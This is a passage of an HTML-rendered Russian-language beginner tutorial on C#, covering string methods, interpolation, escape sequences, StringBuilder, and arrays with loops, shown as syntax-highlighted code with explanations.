class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">s1</span><span class=\"p\">.</span><span class=\"n\">Equals</span><span class=\"p\">(</span><span class=\"n\">s2</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">StringComparison</span><span class=\"p\">.</span><span class=\"n\">OrdinalIgnoreCase</span><span class=\"p\">));</span><span class=\"w\"> </span><span class=\"c1\">// True, без учёта регистра</span>\n</code></pre></div>\n\n<h3 id=\"три-способа-вставить-переменную-в-строку\">Три способа вставить переменную в строку</h3>\n<div class=\"highlight\"><pre><span></span><code><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">name</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s\">&quot;Коля&quot;</span><span class=\"p\">;</span>\n<span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">age</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">20</span><span class=\"p\">;</span>\n\n<span class=\"c1\">// 1. Конкатенация — старый способ (медленный при многих операциях)</span>\n<span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">s1</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s\">&quot;Привет, &quot;</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"n\">name</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"s\">&quot;! Тебе &quot;</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"n\">age</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"s\">&quot; лет.&quot;</span><span class=\"p\">;</span>\n\n<span class=\"c1\">// 2. string.Format — читабельнее</span>\n<span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">s2</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"kt\">string</span><span class=\"p\">.</span><span class=\"n\">Format</span><span class=\"p\">(</span><span class=\"s\">&quot;Привет, {0}! Тебе {1} лет.&quot;</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">name</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">age</span><span class=\"p\">);</span>\n\n<span class=\"c1\">// 3. Интерполяция $&quot;...&quot; — лучший и современный способ</span>\n<span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">s3</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s\">$&quot;Привет, {name}! Тебе {age} лет.&quot;</span><span class=\"p\">;</span>\n<span class=\"c1\">// Внутри {} можно писать любое выражение:</span>\n<span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">s4</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s\">$&quot;Через 5 лет тебе будет {age + 5} лет.&quot;</span><span class=\"p\">;</span>\n</code></pre></div>\n\n<h3 id=\"важные-методы-строк\">Важные методы строк</h3>\n<div class=\"highlight\"><pre><span></span><code><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">s</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s\">&quot;  Привет, Мир!  &quot;</span><span class=\"p\">;</span>\n\n<span class=\"c1\">// Длина</span>\n<span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">s</span><span class=\"p\">.</span><span class=\"n\">Length</span><span class=\"p\">);</span><span class=\"w\">           </span><span class=\"c1\">// 16</span>\n\n<span class=\"c1\">// Убрать пробелы по краям</span>\n<span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">s</span><span class=\"p\">.</span><span class=\"n\">Trim</span><span class=\"p\">());</span><span class=\"w\">           </span><span class=\"c1\">// &quot;Привет, Мир!&quot;</span>\n<span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">s</span><span class=\"p\">.</span><span class=\"n\">TrimStart</span><span class=\"p\">());</span><span class=\"w\">      </span><span class=\"c1\">// &quot;Привет, Мир!  &quot;</span>\n<span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">s</span><span class=\"p\">.</span><span class=\"n\">TrimEnd</span><span class=\"p\">());</span><span class=\"w\">        </span><span class=\"c1\">// &quot;  Привет, Мир!&quot;</span>\n\n<span class=\"c1\">// Регистр</span>\n<span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">s</span><span class=\"p\">.</span><span class=\"n\">ToUpper</span><span class=\"p\">());</span><span class=\"w\">        </span><span class=\"c1\">// &quot;  ПРИВЕТ, МИР!  &quot;</span>\n<span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">s</span><span class=\"p\">.</span><span class=\"n\">ToLower</span><span class=\"p\">());</span><span class=\"w\">        </span><span class=\"c1\">// &quot;  привет, мир!  &quot;</span>\n\n<span class=\"c1\">// Поиск</span>\n<span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">s</span><span class=\"p\">.</span><span class=\"n\">Contains</span><span class=\"p\">(</span><span class=\"s\">&quot;Мир&quot;</span><span class=\"p\">));</span><span class=\"w\">  </span><span class=\"c1\">// True</span>\n<span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">s</span><span class=\"p\">.</span><span class=\"n\">IndexOf</span><span class=\"p\">(</span><span class=\"s\">&quot;Мир&quot;</span><span class=\"p\">));</span><span class=\"w\">   </span><span class=\"c1\">// 9 (позиция первого символа)</span>\n<span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">s</span><span class=\"p\">.</span><span class=\"n\">StartsWith</span><span class=\"p\">(</span><span class=\"s\">&quot;  &quot;</span><span class=\"p\">));</span><span class=\"w\"> </span><span class=\"c1\">// True</span>\n<span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">s</span><span class=\"p\">.</span><span class=\"n\">EndsWith</span><span class=\"p\">(</span><span class=\"s\">&quot;!  &quot;</span><span class=\"p\">));</span><span class=\"w\">  </span><span class=\"c1\">// True</span>\n\n<span class=\"c1\">// Замена</span>\n<span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">s</span><span class=\"p\">.</span><span class=\"n\">Replace</span><span class=\"p\">(</span><span class=\"s\">&quot;Мир&quot;</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"s\">&quot;Вася&quot;</span><span class=\"p\">));</span><span class=\"w\"> </span><span class=\"c1\">// &quot;  Привет, Вася!  &quot;</span>\n\n<span class=\"c1\">// Разбивка и склейка</span>\n<span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">csv</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s\">&quot;яблоко,груша,банан&quot;</span><span class=\"p\">;</span>\n<span class=\"kt\">string</span><span class=\"p\">[]</span><span class=\"w\"> </span><span class=\"n\">fruits</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">csv</span><span class=\"p\">.</span><span class=\"n\">Split</span><span class=\"p\">(</span><span class=\"sc\">&#39;,&#39;</span><span class=\"p\">);</span><span class=\"w\">   </span><span class=\"c1\">// [&quot;яблоко&quot;, &quot;груша&quot;, &quot;банан&quot;]</span>\n<span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">back</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"kt\">string</span><span class=\"p\">.</span><span class=\"n\">Join</span><span class=\"p\">(</span><span class=\"s\">&quot; | &quot;</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">fruits</span><span class=\"p\">);</span><span class=\"w\"> </span><span class=\"c1\">// &quot;яблоко | груша | банан&quot;</span>\n\n<span class=\"c1\">// Подстрока</span>\n<span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">hello</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s\">&quot;Привет мир&quot;</span><span class=\"p\">;</span>\n<span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">sub1</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">hello</span><span class=\"p\">.</span><span class=\"n\">Substring</span><span class=\"p\">(</span><span class=\"m\">7</span><span class=\"p\">);</span><span class=\"w\">     </span><span class=\"c1\">// &quot;мир&quot; (с позиции 7 до конца)</span>\n<span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">sub2</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">hello</span><span class=\"p\">.</span><span class=\"n\">Substring</span><span class=\"p\">(</span><span class=\"m\">0</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">6</span><span class=\"p\">);</span><span class=\"w\">  </span><span class=\"c1\">// &quot;Привет&quot; (6 символов с позиции 0)</span>\n</code></pre></div>\n\n<h3 id=\"многострочные-строки-и-спецсимволы\">Многострочные строки и спецсимволы</h3>\n<div class=\"highlight\"><pre><span></span><code><span class=\"c1\">// Спецсимволы</span>\n<span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">newline</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s\">&quot;Первая строка\\nВторая строка&quot;</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">// \\n — перенос строки</span>\n<span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">tab</span><span class=\"w\">     </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s\">&quot;Имя:\\tКоля&quot;</span><span class=\"p\">;</span><span class=\"w\">                  </span><span class=\"c1\">// \\t — табуляция</span>\n<span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">quote</span><span class=\"w\">   </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s\">&quot;Он сказал: \\&quot;Привет\\&quot;&quot;</span><span class=\"p\">;</span><span class=\"w\">        </span><span class=\"c1\">// \\&quot; — кавычка внутри строки</span>\n<span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">backslash</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s\">&quot;Путь: C:\\\\Users\\\\Коля&quot;</span><span class=\"p\">;</span><span class=\"w\">      </span><span class=\"c1\">// \\\\ — один обратный слэш</span>\n\n<span class=\"c1\">// Дословная строка @&quot;...&quot; — не нужно экранировать \\</span>\n<span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">path</span><span class=\"w\">    </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s\">@&quot;C:\\Users\\Коля\\Desktop&quot;</span><span class=\"p\">;</span><span class=\"w\">       </span><span class=\"c1\">// удобно для путей</span>\n<span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">multiline</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s\">@&quot;Первая строка</span>\n<span class=\"s\">Вторая строка</span>\n<span class=\"s\">Третья строка&quot;</span><span class=\"p\">;</span>\n</code></pre></div>\n\n<h3 id=\"stringbuilder-когда-строк-много\">StringBuilder — когда строк много</h3>\n<p>Если нужно склеить много строк в цикле — используй <code>StringBuilder</code>, это намного быстрее:</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"c1\">// ПЛОХО — каждый раз создаётся новый объект строки</span>\n<span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">result</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s\">&quot;&quot;</span><span class=\"p\">;</span>\n<span class=\"k\">for</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">0</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"o\">&lt;</span><span class=\"w\"> </span><span class=\"m\">1000</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"o\">++</span><span class=\"p\">)</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"n\">result</span><span class=\"w\"> </span><span class=\"o\">+=</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"p\">.</span><span class=\"n\">ToString</span><span class=\"p\">();</span><span class=\"w\"> </span><span class=\"c1\">// 1000 новых строк в памяти!</span>\n<span class=\"p\">}</span>\n\n<span class=\"c1\">// ХОРОШО — один объект, дополняется</span>\n<span class=\"kt\">var</span><span class=\"w\"> </span><span class=\"n\">sb</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"n\">System</span><span class=\"p\">.</span><span class=\"n\">Text</span><span class=\"p\">.</span><span class=\"n\">StringBuilder</span><span class=\"p\">();</span>\n<span class=\"k\">for</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">0</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"o\">&lt;</span><span class=\"w\"> </span><span class=\"m\">1000</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"o\">++</span><span class=\"p\">)</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"n\">sb</span><span class=\"p\">.</span><span class=\"n\">Append</span><span class=\"p\">(</span><span class=\"n\">i</span><span class=\"p\">);</span>\n<span class=\"p\">}</span>\n<span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">result2</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">sb</span><span class=\"p\">.</span><span class=\"n\">ToString</span><span class=\"p\">();</span><span class=\"w\"> </span><span class=\"c1\">// один раз в конце превращаем в строку</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"24-массивы-и-списки-подробный-разбор\">24. Массивы и списки — подробный разбор</h2>\n<h3 id=\"что-такое-массив-самое-начало\">Что такое массив — самое начало</h3>\n<p>Представь что у тебя есть <strong>одна переменная</strong> — одна коробка с одним числом:</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">score</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">85</span><span class=\"p\">;</span>\n</code></pre></div>\n\n<p>А теперь представь что у тебя <strong>10 студентов</strong> и нужно хранить оценку каждого. Ты мог бы сделать так:</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">score1</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">85</span><span class=\"p\">;</span>\n<span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">score2</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">92</span><span class=\"p\">;</span>\n<span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">score3</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">70</span><span class=\"p\">;</span>\n<span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">score4</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">88</span><span class=\"p\">;</span>\n<span class=\"c1\">// ... и так 10 раз</span>\n</code></pre></div>\n\n<p>Это ужасно. Невозможно перебрать в цикле, неудобно передавать в методы, 100 строк кода вместо нескольких.</p>\n<p><strong>Массив</strong> — это одна переменная, которая хранит <strong>много значений одного типа</strong> подряд в памяти.</p>\n<div class=\"highlight\"><pre><span></span><code>score:  [ 85 | 92 | 70 | 88 | 95 | 61 | 77 | 90 | 83 | 74 ]\n          ↑     ↑    ↑    ↑\n        [0]   [1]  [2]  [3]  ...  — это индексы (номера ячеек)\n</code></pre></div>\n\n<p>Одна переменная <code>scores</code>, а внутри — 10 значений. К каждому обращаешься по <strong>индексу</strong> (номеру), и индексы начинаются с <strong>нуля</strong>.</p>\n<hr />\n<h3 id=\"создание-массива\">Создание массива</h3>\n<div class=\"highlight\"><pre><span></span><code><span class=\"c1\">// Способ 1: создать массив из N пустых ячеек</span>\n<span class=\"kt\">int</span><span class=\"p\">[]</span><span class=\"w\"> </span><span class=\"n\">scores</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"kt\">int</span><span class=\"p\">[</span><span class=\"m\">10</span><span class=\"p\">];</span><span class=\"w\"> </span><span class=\"c1\">// 10 ячеек, все заполнены нулями</span>\n\n<span class=\"c1\">// Способ 2: создать и сразу заполнить</span>\n<span class=\"kt\">int</span><span class=\"p\">[]</span><span class=\"w\"> </span><span class=\"n\">scores</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"p\">{</span><span class=\"w\"> </span><span class=\"m\">85</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">92</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">70</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">88</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">95</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">61</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">77</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">90</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">83</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">74</span><span class=\"w\"> </span><span class=\"p\">};</span>\n\n<span class=\"c1\">// Способ 3: то же самое, но с явным new</span>\n<span class=\"kt\">int</span><span class=\"p\">[]</span><span class=\"w\"> </span><span class=\"n\">scores</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"kt\">int</span><span class=\"p\">[]</span><span class=\"w\"> </span><span class=\"p\">{</span><span class=\"w\"> </span><span class=\"m\">85</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">92</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">70</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">88</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">95</span><span class=\"w\"> </span><span class=\"p\">};</span>\n</code></pre></div>\n\n<p>Тип массива пишется как <code>тип[]</code> — квадратные скобки говорят «это массив»:</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"kt\">int</span><span class=\"p\">[]</span><span class=\"w\">    </span><span class=\"n\">numbers</span><span class=\"p\">;</span><span class=\"w\">  </span><span class=\"c1\">// массив целых чисел</span>\n<span class=\"kt\">string</span><span class=\"p\">[]</span><span class=\"w\"> </span><span class=\"n\">names</span><span class=\"p\">;</span><span class=\"w\">    </span><span class=\"c1\">// массив строк</span>\n<span class=\"kt\">double</span><span class=\"p\">[]</span><span class=\"w\"> </span><span class=\"n\">prices</span><span class=\"p\">;</span><span class=\"w\">   </span><span class=\"c1\">// массив дробных чисел</span>\n<span class=\"kt\">bool</span><span class=\"p\">[]</span><span class=\"w\">   </span><span class=\"n\">flags</span><span class=\"p\">;</span><span class=\"w\">    </span><span class=\"c1\">// массив булевых значений</span>\n</code></pre></div>\n\n<hr />\n<h3 id=\"обращение-к-элементам-по-индексу\">Обращение к элементам — по индексу</h3>\n<div class=\"highlight\"><pre><span></span><code><span class=\"kt\">int</span><span class=\"p\">[]</span><span class=\"w\"> </span><span class=\"n\">scores</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"p\">{</span><span class=\"w\"> </span><span class=\"m\">85</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">92</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">70</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">88</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">95</span><span class=\"w\"> </span><span class=\"p\">};</span>\n<span class=\"c1\">//                ↑    ↑   ↑    ↑   ↑</span>\n<span class=\"c1\">//               [0]  [1] [2]  [3] [4]</span>\n\n<span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">scores</span><span class=\"p\">[</span><span class=\"m\">0</span><span class=\"p\">]);</span><span class=\"w\"> </span><span class=\"c1\">// 85 — первый элемент</span>\n<span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">scores</span><span class=\"p\">[</span><span class=\"m\">2</span><span class=\"p\">]);</span><span class=\"w\"> </span><span class=\"c1\">// 70 — третий элемент</span>\n<span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">scores</span><span class=\"p\">[</span><span class=\"m\">4</span><span class=\"p\">]);</span><span class=\"w\"> </span><span class=\"c1\">// 95 — последний элемент</span>\n\n<span class=\"c1\">// Изменение элемента</span>\n<span class=\"n\">scores</span><span class=\"p\">[</span><span class=\"m\">1</span><span class=\"p\">]</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">100</span><span class=\"p\">;</span>\n<span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">scores</span><span class=\"p\">[</span><span class=\"m\">1</span><span class=\"p\">]);</span><span class=\"w\"> </span><span class=\"c1\">// теперь 100</span>\n</code></pre></div>\n\n<p><strong>Самая частая ошибка:</strong> индексы начинаются с 0, а не с 1.</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"kt\">int</span><span class=\"p\">[]</span><span class=\"w\"> </span><span class=\"n\">arr</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"p\">{</span><span class=\"w\"> </span><span class=\"m\">10</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">20</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">30</span><span class=\"w\"> </span><span class=\"p\">};</span><span class=\"w\"> </span><span class=\"c1\">// 3 элемента</span>\n\n<span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">arr</span><span class=\"p\">[</span><span class=\"m\">0</span><span class=\"p\">]);</span><span class=\"w\"> </span><span class=\"c1\">// 10 — ПЕРВЫЙ</span>\n<span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">arr</span><span class=\"p\">[</span><span class=\"m\">1</span><span class=\"p\">]);</span><span class=\"w\"> </span><span class=\"c1\">// 20 — ВТОРОЙ</span>\n<span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">arr</span><span class=\"p\">[</span><span class=\"m\">2</span><span class=\"p\">]);</span><span class=\"w\"> </span><span class=\"c1\">// 30 — ТРЕТИЙ</span>\n<span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">arr</span><span class=\"p\">[</span><span class=\"m\">3</span><span class=\"p\">]);</span><span class=\"w\"> </span><span class=\"c1\">// ОШИБКА! Индекс 3 не существует (есть только 0, 1, 2)</span>\n</code></pre></div>\n\n<p>Последний валидный индекс всегда <code>массив.Length - 1</code>:</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"kt\">int</span><span class=\"p\">[]</span><span class=\"w\"> </span><span class=\"n\">arr</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"p\">{</span><span class=\"w\"> </span><span class=\"m\">10</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">20</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">30</span><span class=\"w\"> </span><span class=\"p\">};</span>\n<span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">arr</span><span class=\"p\">.</span><span class=\"n\">Length</span><span class=\"p\">);</span><span class=\"w\">          </span><span class=\"c1\">// 3 — количество элементов</span>\n<span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">arr</span><span class=\"p\">[</span><span class=\"n\">arr</span><span class=\"p\">.</span><span class=\"n\">Length</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"w\"> </span><span class=\"m\">1</span><span class=\"p\">]);</span><span class=\"w\"> </span><span class=\"c1\">// 30 — последний элемент</span>\n</code></pre></div>\n\n<hr />\n<h3 id=\"массив-цикл-сила\">Массив + цикл = сила</h3>\n<p>Настоящая польза массива раскрывается в связке с циклом. Вот почему их всегда учат вместе.</p>\n<h4 id=\"вывести-все-элементы\">Вывести все элементы</h4>\n<div class=\"highlight\"><pre><span></span><code><span class=\"kt\">int</span><span class=\"p\">[]</span><span class=\"w\"> </span><span class=\"n\">scores</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"p\">{</span><span class=\"w\"> </span><span class=\"m\">85</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">92</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">70</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">88</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">95</span><span class=\"w\"> </span><span class=\"p\">};</span>\n\n<span class=\"c1\">// Способ 1: for (когда нужен индекс)</span>\n<span class=\"k\">for</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">0</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"o\">&lt;</span><span class=\"w\"> </span><span class=\"n\">scores</span><span class=\"p\">.</span><span class=\"n\">Length</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"n\">i</span><span class=\"o\">++</span><span class=\"p\">)</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">$&quot;Студент {i + 1}: {scores[i]}&quot;</span><span class=\"p\">);</span>\n<span class=\"p\">}</span>\n\n<span class=\"c1\">// Способ 2: foreach (когда индекс не нужен)</span>\n<span class=\"k\">foreach</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">score</span><span class=\"w\"> </span><span class=\"k\">in</span><span class=\"w\"> </span><span class=\"n\">scores</span><span class=\"p\">)</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">score</span><span class=\"p\">);</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<p>Вывод <code>for</code>:</p>\n<div class=\"highlight\"><pre><span></span><code>Студент 1: 85\nСтудент 2: 92\nСтудент 3: 70\nСтудент 4: 88\nСтудент 5: 95\n</code></pre></div>\n\n<h4 id=\"найти-сумму-и-среднее\">Найти сумму и среднее</h4>\n<div class=\"highlight\"><pre><span></span><code><span class=\"kt\">int</span><span class=\"p\">[]</span><span class=\"w\"> </span><span class=\"n\">scores</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"p\">{</span><span class=\"w\"> </span><span class=\"m\">85</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">92</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">70</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">88</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">95</span><span class=\"w\"> </span><span class=\"p\">};</span>\n<span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">sum</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">0</span><span class=\"p\">;</span>\n\n<span class=\"k\">foreach</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">score</span><span class=\"w\"> </span><span class=\"k\">in</span><span class=\"w\"> </span><span class=\"n\">scores</span><span class=\"p\">)</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"n\">sum</span><span class=\"w\"> </span><span class=\"o\">+=</span><span class=\"w\"> </span><span class=\"n\">score</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">// прибавляем каждый элемент к сумме</span>\n<span class=\"p\">}</span>\n\n<span class=\"kt\">double</span><span class=\"w\"> </span><span class=\"n\">average</span><span class=\"w\"> </span><span 